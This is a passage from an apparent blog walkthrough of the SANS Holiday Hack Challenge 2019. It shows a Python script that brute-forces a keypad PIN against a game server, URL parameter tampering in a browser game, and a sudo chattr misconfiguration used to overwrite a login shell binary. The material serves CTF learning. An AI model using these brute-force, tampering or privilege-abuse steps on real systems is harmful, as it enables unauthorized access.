<span class="k">for</span> <span class="n">raw</span> <span class="ow">in</span> <span class="n">product</span><span class="p">(</span><span class="n">valid_numbers</span><span class="p">,</span> <span class="n">repeat</span><span class="o">=</span><span class="mi">4</span><span class="p">):</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="nb">set</span><span class="p">(</span><span class="n">raw</span><span class="p">))</span> <span class="o">==</span> <span class="n">possible_digits</span><span class="p">:</span>
<span class="k">yield</span> <span class="n">raw</span>
<span class="k">for</span> <span class="n">nums</span> <span class="ow">in</span> <span class="n">generate</span><span class="p">(</span><span class="n">valid_digits</span><span class="p">):</span>
<span class="k">print</span><span class="p">(</span><span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="nb">map</span><span class="p">(</span><span class="nb">str</span><span class="p">,</span> <span class="n">nums</span><span class="p">)))</span>
</code></pre></div></div>
<p>Let’s quickly go over what this script does.</p>
<p>First, we start by defining a <a href="https://docs.python.org/3/tutorial/datastructures.html">list</a> called <code class="language-plaintext highlighter-rouge">valid_digits</code> which contains the numbers we want to use in generating our pin. We then create a new function definition called <code class="language-plaintext highlighter-rouge">generate</code> and we pass into it our <code class="language-plaintext highlighter-rouge">valid_numbers</code> list.</p>
<p>Next, we import <a href="https://www.hackerrank.com/challenges/itertools-product/problem">product</a> from itertools. This tool will be used to compute the <a href="https://en.wikipedia.org/wiki/Cartesian_product">cartesian product</a> of input iterables. A cartesian product, in simple terms, takes two sets and returns another set of <em>tuples</em> or “pairs.”</p>
<p>The cartesian product is just taking every possible combination of the elements of A and B and expressing them as a set of <a href="https://www.tutorialspoint.com/python/python_tuples.htm">tuples (paired values)</a>. This is great for us because it will automatically reuse one of the other digits, allowing us to use that hint from Tangle.</p>
<p>From there, we get the number of possible digits (3), and set it to the <code class="language-plaintext highlighter-rouge">possible_digits</code> variable. Finally, we use product, to generate all possible 4-digit pin numbers using the <code class="language-plaintext highlighter-rouge">product</code> function and then <a href="https://docs.python.org/3/reference/simple_stmts.html#the-yield-statement">yield</a> the raw value back to us.</p>
<p>Simply <code class="language-plaintext highlighter-rouge">yield</code> is used when we want to iterate over a sequence but don’t want to store the entire sequence in memory, allowing us to generate the digits faster.</p>
<p>Finally, we call our definition with our <code class="language-plaintext highlighter-rouge">valid_digits</code> list and print the value back to the screen. Since the value being returned is a tuple, we call the <a href="https://docs.python.org/3/library/functions.html#map">map</a> function to iterate over each value in the tuple, and finally we use <a href="https://docs.python.org/3/library/stdtypes.html#str.join">join</a> to join all those digits into a single 4-digit pin.</p>
<p>If we execute this code, we should see something like so:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/HH/frosty_keypad#</span><span class="w"> </span>python3 code_breaker.py
<span class="go">1137
1173
1317
1337
1371
---snip---
</span></code></pre></div></div>
<p>As you can see, only 1 digit is repeated once, and not multiple times!</p>
<p>Perfect! So now let’s combine these two together to generate the pin, and validate if it is a prime number.</p>
<p>Combined, the code should look like so:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/python3
</span>
<span class="kn">import</span> <span class="nn">math</span>
<span class="kn">from</span> <span class="nn">itertools</span> <span class="kn">import</span> <span class="n">product</span>
<span class="n">valid_digits</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">7</span><span class="p">]</span>
<span class="k">def</span> <span class="nf">generate</span><span class="p">(</span><span class="n">valid_numbers</span><span class="p">):</span>
<span class="kn">from</span> <span class="nn">itertools</span> <span class="kn">import</span> <span class="n">product</span>
<span class="n">possible_digits</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">valid_numbers</span><span class="p">)</span>
<span class="k">for</span> <span class="n">raw</span> <span class="ow">in</span> <span class="n">product</span><span class="p">(</span><span class="n">valid_numbers</span><span class="p">,</span> <span class="n">repeat</span><span class="o">=</span><span class="mi">4</span><span class="p">):</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="nb">set</span><span class="p">(</span><span class="n">raw</span><span class="p">))</span> <span class="o">==</span> <span class="n">possible_digits</span><span class="p">:</span>
<span class="k">yield</span> <span class="n">raw</span>
<span class="n">isPrime</span> <span class="o">=</span> <span class="bp">True</span>
<span class="k">for</span> <span class="n">nums</span> <span class="ow">in</span> <span class="n">generate</span><span class="p">(</span><span class="n">valid_digits</span><span class="p">):</span>
<span class="n">pin</span> <span class="o">=</span> <span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="nb">map</span><span class="p">(</span><span class="nb">str</span><span class="p">,</span> <span class="n">nums</span><span class="p">))</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="nb">int</span><span class="p">(</span><span class="n">math</span><span class="p">.</span><span class="n">sqrt</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">pin</span><span class="p">))</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)):</span>
<span class="k">if</span> <span class="nb">int</span><span class="p">(</span><span class="n">pin</span><span class="p">)</span> <span class="o">%</span> <span class="n">x</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
<span class="n">isPrime</span> <span class="o">=</span> <span class="bp">False</span>
<span class="k">break</span>
<span class="k">if</span> <span class="n">isPrime</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="n">pin</span><span class="p">)</span>
<span class="k">break</span>
</code></pre></div></div>
<p>Running the code, we get the following output:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/HH/frosty_keypad#</span><span class="w"> </span>python3 code_breaker.py
<span class="go">1137
1173
1317
1337
1371
1373
1377
1713
1731
1733
1737
1773
3117
3137
3171
3173
3177
3317
3371
3711
3713
3717
3731
3771
7113
7131
7133
7137
7173
7311
7313
7317
7331
7371
7713
7731
</span></code></pre></div></div>
<p>Perfect, so using some awesome math, and some Python magic we generated all the valid pin codes that are 4 digits long, use only one digit twice, and are a prime number.</p>
<p>Alright, with that, we now need to submit the values to the pin pad and validate which one of these is the correct pin. We can simply use our developer console in our browser to check the network traffic so we can grab the URL where we will need to submit the pin.</p>
<p align="center"><a href="/images/hh19-60.png"><img src="/images/hh19-60.png" /></a></p>
<p align="center"><a href="/images/hh19-61.png"><img src="/images/hh19-61.png" /></a></p>
<p>With that information in hand, let’s finalize our Python code to submit all values to the pin pad, and print only the one that returns a success code of <code class="language-plaintext highlighter-rouge">True</code>.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/python3
</span>
<span class="kn">import</span> <span class="nn">math</span>
<span class="kn">import</span> <span class="nn">json</span>
<span class="kn">import</span> <span class="nn">urllib.request</span>
<span class="kn">from</span> <span class="nn">itertools</span> <span class="kn">import</span> <span class="n">product</span>
<span class="n">valid_digits</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">7</span><span class="p">]</span>
<span class="k">def</span> <span class="nf">generate</span><span class="p">(</span><span class="n">valid_numbers</span><span class="p">):</span>
<span class="kn">from</span> <span class="nn">itertools</span> <span class="kn">import</span> <span class="n">product</span>
<span class="n">possible_digits</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">valid_numbers</span><span class="p">)</span>
<span class="k">for</span> <span class="n">raw</span> <span class="ow">in</span> <span class="n">product</span><span class="p">(</span><span class="n">valid_numbers</span><span class="p">,</span> <span class="n">repeat</span><span class="o">=</span><span class="mi">4</span><span class="p">):</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="nb">set</span><span class="p">(</span><span class="n">raw</span><span class="p">))</span> <span class="o">==</span> <span class="n">possible_digits</span><span class="p">:</span>
<span class="k">yield</span> <span class="n">raw</span>
<span class="k">def</span> <span class="nf">validate</span><span class="p">(</span><span class="n">possible_pin</span><span class="p">):</span>
<span class="n">response</span> <span class="o">=</span> <span class="n">urllib</span><span class="p">.</span><span class="n">request</span><span class="p">.</span><span class="n">urlopen</span><span class="p">(</span><span class="s">'https://keypad.elfu.org/checkpass.php?i='</span> <span class="o">+</span> <span class="n">possible_pin</span> <span class="o">+</span> <span class="s">'&resourceId=41e5c834-b3e2-487d-8f57-f65f37ad9059'</span><span class="p">)</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">json</span><span class="p">.</span><span class="n">loads</span><span class="p">(</span><span class="n">response</span><span class="p">.</span><span class="n">read</span><span class="p">().</span><span class="n">decode</span><span class="p">(</span><span class="s">'utf-8'</span><span class="p">))</span>
<span class="k">if</span> <span class="n">data</span><span class="p">[</span><span class="s">'success'</span><span class="p">]</span> <span class="o">==</span> <span class="bp">True</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Valid Pin Found: "</span> <span class="o">+</span> <span class="n">possible_pin</span><span class="p">)</span>
<span class="n">isPrime</span> <span class="o">=</span> <span class="bp">True</span>
<span class="k">for</span> <span class="n">nums</span> <span class="ow">in</span> <span class="n">generate</span><span class="p">(</span><span class="n">valid_digits</span><span class="p">):</span>
<span class="n">pin</span> <span class="o">=</span> <span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="nb">map</span><span class="p">(</span><span class="nb">str</span><span class="p">,</span> <span class="n">nums</span><span class="p">))</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="nb">int</span><span class="p">(</span><span class="n">math</span><span class="p">.</span><span class="n">sqrt</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">pin</span><span class="p">))</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)):</span>
<span class="k">if</span> <span class="nb">int</span><span class="p">(</span><span class="n">pin</span><span class="p">)</span> <span class="o">%</span> <span class="n">x</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
<span class="n">isPrime</span> <span class="o">=</span> <span class="bp">False</span>
<span class="k">break</span>
<span class="k">if</span> <span class="n">isPrime</span><span class="p">:</span>
<span class="n">validate</span><span class="p">(</span><span class="n">pin</span><span class="p">)</span>
<span class="k">break</span>
</code></pre></div></div>
<p>This code should be pretty self-explanatory, but let’s brief over it for those who are having trouble understanding it.</p>
<p>I create another function definition called <code class="language-plaintext highlighter-rouge">validate</code> and pass in our pin code as the variable <code class="language-plaintext highlighter-rouge">possible_pin</code>. From there we create a new variable called <code class="language-plaintext highlighter-rouge">response</code> which will contain the response from the web server.</p>
<p>We then parse the JSON data as UTF-8, and check if the <code class="language-plaintext highlighter-rouge">success</code> key from the JSON requests is equal to <code class="language-plaintext highlighter-rouge">True</code>. If it is, we print the correct pin code to the screen.</p>
<p>So, let’s run the script. Upon running it, we get the valid pin code!</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/HH/frosty_keypad#</span><span class="w"> </span>python3 code_breaker.py
<span class="go">Valid Pin Found: 7331
</span></code></pre></div></div>
<p>Awesome, let’s test this on the pin pad in game and see if it works!</p>
<p align="center"><a href="/images/hh19-62.png"><img src="/images/hh19-62.png" /></a></p>
<p>And there we have it, we unlocked the door and can enter the dorms!</p>
<h3 id="holiday-hack-trail">Holiday Hack Trail</h3>
<p>Upon entering the dorms and going to the right, we meet Minty Candycane!</p>
<p align="center"><a href="/images/hh19-63.png"><img src="/images/hh19-63.png" /></a></p>
<p>After talking with Minty, we learn that she loves old games and tells us that we should give it a go! She also explains that if we get stuck, we should check out this year’s talk - which would be <a href="https://youtu.be/0T6-DQtzCgM">Chris Elgee’s talk, Web Apps: A Trailhead</a>.</p>
<p align="center"><a href="/images/hh19-64.png"><img src="/images/hh19-64.png" /></a></p>
<p>After watching the video, Chris talks about basic web application hacking and value manipulation that can lead to issues in an application if the values passed back to the server are not validated; simple web app stuff!</p>
<p>So with that knowledge, let’s access the terminal and see what we have to work with.</p>
<p align="center"><a href="/images/hh19-65.png"><img src="/images/hh19-65.png" /></a></p>
<p>Ahh cool, so this seems to be a remake of an old game known as <a href="https://en.wikipedia.org/wiki/The_Oregon_Trail_(1985_video_game)">Oregon Trail</a>. So we have three modes to choose from, I like to make life easy, so we will choose easy mode.</p>
<p>Upon selecting that mode, we are presented with the following screen.</p>
<p align="center"><a href="/images/hh19-66.png"><img src="/images/hh19-66.png" /></a></p>
<p>From the initial screen we can see that this allows us to purchase supplies needed for the game. At the bottom of the screen it also tells us what each supply does. It seems the more reindeer we have, the faster we go, and of course we need food and medication.</p>
<p>Okay, well I want to save my money, so let’s press <code class="language-plaintext highlighter-rouge">BUY</code> to continue and see what we get.</p>
<p align="center"><a href="/images/hh19-67.png"><img src="/images/hh19-67.png" /></a></p>
<p>This screen now brings us to the game. We can do multiple things such as take medication, hunt, trade, or continue with our trail to the North Pole. It also lists a display of our inventory, and health conditions for our players.</p>
<p>Now, if we inspect the screen, I notice something odd. Let’s take a look at our URL.</p>
<p align="center"><a href="/images/hh19-68.png"><img src="/images/hh19-68.png" /></a></p>
<p>Having some web application security background, and watching Chris’ video, this smells like <a href="https://owasp.org/www-community/attacks/Web_Parameter_Tampering">Web Parameter Tampering</a>. For those who don’t know what that is, it’s simply an attack that is based on the manipulation of parameters exchanged between client and server in order to modify application data, such as user credentials and permissions, price and quantity of products, etc.</p>
<p>Since the parameters for our game are in the URL, we can simply modify them and see if it affects our game in some way, shape, or form.</p>
<p>So, to test this, let’s change our reindeer parameter value from <code class="language-plaintext highlighter-rouge">2</code> to <code class="language-plaintext highlighter-rouge">125</code>.</p>
<p align="center"><a href="/images/hh19-69.png"><img src="/images/hh19-69.png" /></a></p>
<p>Once done, let’s press <code class="language-plaintext highlighter-rouge">[ENTER]</code> or the arrow by the URL and see what happens.</p>
<p align="center"><a href="/images/hh19-70.png"><img src="/images/hh19-70.png" /></a></p>
<p>Hey, look at that! Our reindeer parameter changed in game and we now have 125 of them! Okay, but hold on, just because we changed the URL parameter, it doesn’t mean that the sever holds the same value.</p>
<p>So let’s manipulate some more parameters of your choosing and then press <code class="language-plaintext highlighter-rouge">GO</code> and see if the value still holds.</p>
<p align="center"><a href="/images/hh19-71.png"><img src="/images/hh19-71.png" /></a></p>
<p>Awesome, it works! The values hold, we are now on day 2 and have 7912 left for our distance. We traveled a total of 88 miles or whatever, but I don’t want to keep clicking GO till we get to the end. So, let’s change that distance to <code class="language-plaintext highlighter-rouge">8000</code> as it was the original “remaining” amount in the URL and press <code class="language-plaintext highlighter-rouge">[ENTER]</code>.</p>
<p align="center"><a href="/images/hh19-72.png"><img src="/images/hh19-72.png" /></a></p>
<p>Once the value is updated, let’s press GO and see what we get.</p>
<p align="center"><a href="/images/hh19-73.png"><img src="/images/hh19-73.png" /></a></p>
<p>And there we have it! We completed the game by cheating! ;)</p>
<h3 id="key-cutting">Key Cutting</h3>
<p>Upon successfully completing the Holiday Hack Train, we can talk to Minty again for more hints that will allow us to complete the next part of our objective.</p>
<p align="center"><a href="/images/hh19-74.png"><img src="/images/hh19-74.png" /></a></p>
<p>From Minty, we learn about a key grinder in her room, as well as about someone hopping around with a key on campus which we can use to copy… hmmm.</p>
<p>Minty also give us a hint to watch Deviant’s talk for <a href="https://youtu.be/KU6FJnbkeLA">Optical Decoding of Keys</a>.</p>
<p>Well with that in mind, let’s keep going right and enter Minty’s room. Upon entering Minty’s room we spot a very shady character with no name! But hold on, look! He has a key on him!</p>
<p align="center"><a href="/images/hh19-75.png"><img src="/images/hh19-75.png" /></a></p>
<p>If we’re quick and sneaky, we can use our browsers <a href="https://developers.google.com/web/tools/chrome-devtools">dev tools</a> to inspect the character image. Upon selecting the character and inspecting the image we see that it’s Krampus!</p>
<p align="center"><a href="/images/hh19-76.png"><img src="/images/hh19-76.png" /></a></p>
<p>Following the background URL, we see the image of Krampus and we also see the key in better view!</p>
<p align="center"><a href="/images/hh19-77.png"><img src="/images/hh19-77.png" /></a></p>
<p>Let’s zoom in on that key to get a better picture of it!</p>
<p align="center"><a href="/images/hh19-78.png"><img src="/images/hh19-78.png" /></a></p>
<p>With that key in hand, we see that there is a machine on Minty’s desk. Clicking on it takes us to the following screen.</p>
<p align="center"><a href="/images/hh19-79.png"><img src="/images/hh19-79.png" /></a></p>
<p>So this is a <a href="https://www.lockpicks.com/key-cutting-machines-punches.html">bitting machine</a> which aids in cutting and programming keys of any type. If you watched Deviant’s talk then you should know a lot about this and how to use it!</p>
<p>Each “bite” for the key can range from 0 to 9, with 9 being a deeper “bite” or cut. If we inspect the key we got from Krampus we can see that the biting seems to be 1, 2 ,2 5, 2, 0 (this took some guessing and playing around with the machine).</p>
<p>If we enter that in the machine, we get the following key.</p>
<p align="center"><a href="/images/hh19-80.png"><img src="/images/hh19-80.png" /></a></p>
<p align="center"><a href="/images/hh19-81.png"><img src="/images/hh19-81.png" /></a></p>
<p>So, let’s save that image of the key we created for later purposes.</p>
<p>In Minty’s room we see another door, if we enter it, we see a closet with what seems to be a key hole.</p>
<p align="center"><a href="/images/hh19-82.png"><img src="/images/hh19-82.png" /></a></p>
<p>If we click on the keyhole, we are presented with a lock and a key ring. Click on the key ring to upload our generated key, and let’s try to open the lock!</p>
<p align="center"><a href="/images/hh19-83.png"><img src="/images/hh19-83.png" /></a></p>
<p>After opening the door successfully, we get access to a secret tunnel!</p>
<p align="center"><a href="/images/hh19-84.png"><img src="/images/hh19-84.png" /></a></p>
<h3 id="get-access-to-the-steam-tunnels">Get Access To The Steam Tunnels</h3>
<p>With access to the new secret tunnel from Minty’s closet, we enter the tunnel and come across a “Danger Keep Out” sign.</p>
<p align="center"><a href="/images/hh19-85.png"><img src="/images/hh19-85.png" /></a></p>
<p>We’re not scared, so let’s keep moving down the tunnel. At the end of the tunnel we come across our shady character, Krampus Hollyfeld!</p>
<p align="center"><a href="/images/hh19-85-2.png"><img src="/images/hh19-85-2.png" /></a></p>
<p>Upon talking to Krampus we learn that he maintains the steam tunnels underneath Elf U, we also learn that if we can help Krampus solve objective 8 then he will tell us more of what’s going on with the turtle doves and the scraps of paper we found!</p>
<p align="center"><a href="/images/hh19-86.png"><img src="/images/hh19-86.png" /></a></p>
<p>Well, at least now we know who took the doves. So with that information, we can navigate to the seventh objective in our badge and enter the name “<strong>Krampus Hollyfeld</strong>” to complete the objective.</p>
<p align="center"><a href="/images/hh19-87.png"><img src="/images/hh19-87.png" /></a></p>
<h2 id="objective-8">Objective 8</h2>
<h3 id="nyanshell---cranpi">NyanShell - CranPi</h3>
<p>Upon successfully gaining access to the steam tunnels and talking with Krampus, we learn that we need to hep Krampus finish objective eight.</p>
<p>If we read the objective, we learn that for hints we can talk to Alabaster Snowball in the Speaker Unprepardedness Room.</p>
<p>So, from the tunnels, let’s go back to Hermey Hall, and access the room. There we will find Alabaster!</p>
<p align="center"><a href="/images/hh19-88.png"><img src="/images/hh19-88.png" /></a></p>
<p>Talking to Alabaster we figure out what the challenge consists of, and of course we also get a couple of hints to help in completing the CranPi challenge.</p>
<p align="center"><a href="/images/hh19-89.png"><img src="/images/hh19-89.png" /></a></p>
<p>It seems that something has gone horribly wrong with his terminal. Each time he logs into his account, he gets a toaster party? Overall it seems to be a shell issue, but Alabaster can’t overwrite it. Alabaster also give us a hint by stating that “<em>on Linux, a user’s shell is determined by the contents of <code class="language-plaintext highlighter-rouge">/etc/passwd</code></em>”.</p>
<p>Alright, with that in mind, let’s access the terminal!</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄░░░░░░░░░
░░░░░░░░▄▀░░░░░░░░░░░░▄░░░░░░░▀▄░░░░░░░
░░░░░░░░█░░▄░░░░▄░░░░░░░░░░░░░░█░░░░░░░
░░░░░░░░█░░░░░░░░░░░░▄█▄▄░░▄░░░█░▄▄▄░░░
░▄▄▄▄▄░░█░░░░░░▀░░░░▀█░░▀▄░░░░░█▀▀░██░░
░██▄▀██▄█░░░▄░░░░░░░██░░░░▀▀▀▀▀░░░░██░░
░░▀██▄▀██░░░░░░░░▀░██▀░░░░░░░░░░░░░▀██░
░░░░▀████░▀░░░░▄░░░██░░░▄█░░░░▄░▄█░░██░
░░░░░░░▀█░░░░▄░░░░░██░░░░▄░░░▄░░▄░░░██░
░░░░░░░▄█▄░░░░░░░░░░░▀▄░░▀▀▀▀▀▀▀▀░░▄▀░░
░░░░░░█▀▀█████████▀▀▀▀████████████▀░░░░
░░░░░░████▀░░███▀░░░░░░▀███░░▀██▀░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
nyancat, nyancat
I love that nyancat!
My shell's stuffed inside one
Whatcha' think about that?
Sadly now, the day's gone
Things to do! Without one...
I'll miss that nyancat
Run commands, win, and done!
Log in as the user alabaster_snowball with a password of Password2, and land in a Bash prompt.
Target Credentials:
username: alabaster_snowball
password: Password2
</span><span class="gp">elf@5d7be8ae3e11:~$</span><span class="w">
</span></code></pre></div></div>
<p>Hey it’s nyan cat - that’s great haha! So, using the provided credentials for Alabaster, let’s login and see what happens.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">elf@dfab2664ba73:~$</span><span class="w"> </span>su alabaster_snowballPassword:
<span class="go">Password:
</span></code></pre></div></div>
<p align="center"><a href="/images/hh19-90.png"><img src="/images/hh19-90.png" /></a></p>
<p>Hahaha, that’s great! Funny for us, but bad for Alabaster. Alright, let’s help this poor guy fix this issue.</p>
<p>After exiting this shell, let’s use Alabaster’s hint to see what <code class="language-plaintext highlighter-rouge">/etc/passwd</code> is set to for his user account.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">elf@ba16afd01a1b:~$</span><span class="w"> </span><span class="nb">cat</span> /etc/passwd
<span class="go">root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
elf:x:1000:1000::/home/elf:/bin/bash
alabaster_snowball:x:1001:1001::/home/alabaster_snowball:/bin/nsh
</span></code></pre></div></div>
<p>Right away we can see that his shell upon login is set to <code class="language-plaintext highlighter-rouge">/bin/nsh</code> which isn’t normal for Linux. Okay, well Alabaster also mentioned something about using <code class="language-plaintext highlighter-rouge">sudo -l</code> which will list the allowed (and forbidden) sudo commands for the invoking user, so let’s run that and see what we get.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">elf@5d7be8ae3e11:~$</span><span class="w"> </span><span class="nb">sudo</span> <span class="nt">-l</span>
<span class="go">Matching Defaults entries for elf on 5d7be8ae3e11:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User elf may run the following commands on 5d7be8ae3e11:
(root) NOPASSWD: /usr/bin/chattr
</span></code></pre></div></div>
<p>After executing the command, we see that we can run the <code class="language-plaintext highlighter-rouge">/usr/bin/chattr</code> binary as sudo with no password. Basically, the <a href="https://linux.die.net/man/1/chattr">chattr</a> command is used to change file attributes on a Linux file system.</p>
<p>These file attributes are in a specific symbolic mode format such as <code class="language-plaintext highlighter-rouge">+-=[acdeijstuADST]</code>.</p>
<p>The letters <code class="language-plaintext highlighter-rouge">acdeijstuADST</code> select the new attributes for the files: append only (a), compressed (c), no dump (d), extent format (e), immutable (i), data journalling (j), secure deletion (s), no tail-merging (t), undeletable (u), no atime updates (A), synchronous directory updates (D), synchronous updates (S), and top of directory hierarchy (T).</p>
<p>So let’s see what sort of attributes are set for the <code class="language-plaintext highlighter-rouge">/bin/nsh</code> binary by using the <a href="https://linux.die.net/man/1/lsattr">lsattr</a> command which will list file attributes of a specific file.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">elf@5d7be8ae3e11:~$</span><span class="w"> </span>lsattr /bin/nsh
<span class="go">----i---------e---- /bin/nsh
</span></code></pre></div></div>
<p>If you read the manual pages for these commands, then you will learn right away that the immutable attribute is set for this file. This attribute prevents anyone - even a root user - from deleting or modifying a file.</p>
<p>We can test this theory by trying to overwrite the data in that binary, as such.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">elf@5d7be8ae3e11:~$</span><span class="w"> </span><span class="nb">echo</span> <span class="s2">"test"</span> <span class="o">></span> /bin/nsh
<span class="go">-bash: /bin/nsh: Operation not permitted
</span></code></pre></div></div>
<p>Alright, well since we can run the <code class="language-plaintext highlighter-rouge">chattr</code> command with root permissions, let’s remove the immutable attribute from the file, and rewrite the binary with the bash shell.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">elf@5d7be8ae3e11:~$</span><span class="w"> </span><span class="nb">sudo</span> /usr/bin/chattr <span class="nt">-i</span> /bin/nsh
<span class="gp">elf@5d7be8ae3e11:~$</span><span class="w"> </span>lsattr /bin/nsh
<span class="go">--------------e---- /bin/nsh
</span><span class="gp">elf@5d7be8ae3e11:~$</span><span class="w"> </span><span class="nb">cat</span> /bin/bash <span class="o">></span> /bin/nsh
</code></pre></div></div>
<p>Nice, it worked! There’s only one way to see if everything worked well, and that’s to login with Alabaster account again.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">elf@5d7be8ae3e11:~$</span>su alabaster_snowball
<span class="go">Password:
Loading, please wait......
You did it! Congratulations!
</span></code></pre></div></div>
<p>And there we have it, we finished the terminal challenge!</p>
<h3 id="bypassing-the-frido-sleigh-capteha">Bypassing the Frido Sleigh CAPTEHA</h3>
<p>Upon successfully completing the Nyanshell CranPi we can talk to Alabaster again for more hints that will allow us to complete the next objective.</p>
<p align="center"><a href="/images/hh19-91.png"><img src="/images/hh19-91.png" /></a></p>
<p>For this objective we need to help Krampus beat the <a href="https://fridosleigh.com/">Frido Sleigh contest</a>. Thanks to Alabaster, we learn that we can use machine learning to beat the CAPTHEA for the challenge, so let’s access the contest page and see what we have to work with.</p>
<p align="center"><a href="/images/hh19-92.png"><img src="/images/hh19-92.png" /></a></p>
<p align="center"><a href="/images/hh19-93.png"><img src="/images/hh19-93.png" /></a></p>
<p>Cool, so there’s just basic information that we need to fill out, and at the end we have a CAPTHEA challenge. Let’s click on it to see what we have.</p>
<p align="center"><a href="/images/hh19-94.png"><img src="/images/hh19-94.png" /></a></p>
<p>Oh crap…. That’s a lot of images we need to select, and we only have 5 seconds to do it! How the heck can we complete this?</p>
<p>Well if we remember our talk with Krampus, he mentioned that he’s already cataloged <a href="https://downloads.elfu.org/capteha_images.tar.gz">12,000 images</a> and decoded the <a href="https://downloads.elfu.org/capteha_api.py">API interface</a> for this challenge.</p>
<p>So, let’s download those files and see what we have to work with.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/HH/frido_sleigh#</span><span class="w"> </span>wget https://downloads.elfu.org/capteha_images.tar.gz
<span class="gp">root@kali:~/HH/frido_sleigh#</span><span class="w"> </span>wget https://downloads.elfu.org/capteha_api.py
<span class="gp">root@kali:~/HH/frido_sleigh#</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">capteha_api.py capteha_images.tar.gz
</span><span class="gp">root@kali:~/HH/frido_sleigh#</span><span class="w"> </span><span class="nb">mkdir </span>capteha_images
<span class="gp">root@kali:~/HH/frido_sleigh#</span><span class="w"> </span><span class="nb">tar</span> <span class="nt">-xzvf</span> capteha_images.tar.gz <span class="nt">-C</span> capteha_images/
<span class="gp">root@kali:~/HH/frido_sleigh#</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-la</span> capteha_images/
<span class="go">total 760
drwxr-xr-x 8 root root 4096 Dec 24 15:14 .
drwxr-xr-x 3 root root 4096 Dec 24 15:15 ..
drwxrwxr-x 2 1000 1000 135168 Nov 26 14:40 'Candy Canes'
drwxrwxr-x 2 1000 1000 135168 Nov 26 14:40 'Christmas Trees'
drwxrwxr-x 2 1000 1000 126976 Nov 26 14:40 Ornaments
drwxrwxr-x 2 1000 1000 122880 Nov 26 14:40 Presents
drwxrwxr-x 2 1000 1000 126976 Nov 26 14:40 'Santa Hats'
drwxrwxr-x 2 1000 1000 122880 Nov 26 14:40 Stockings
</span></code></pre></div></div>
<p>Huh, so we got folders for the different images. So what?</p>
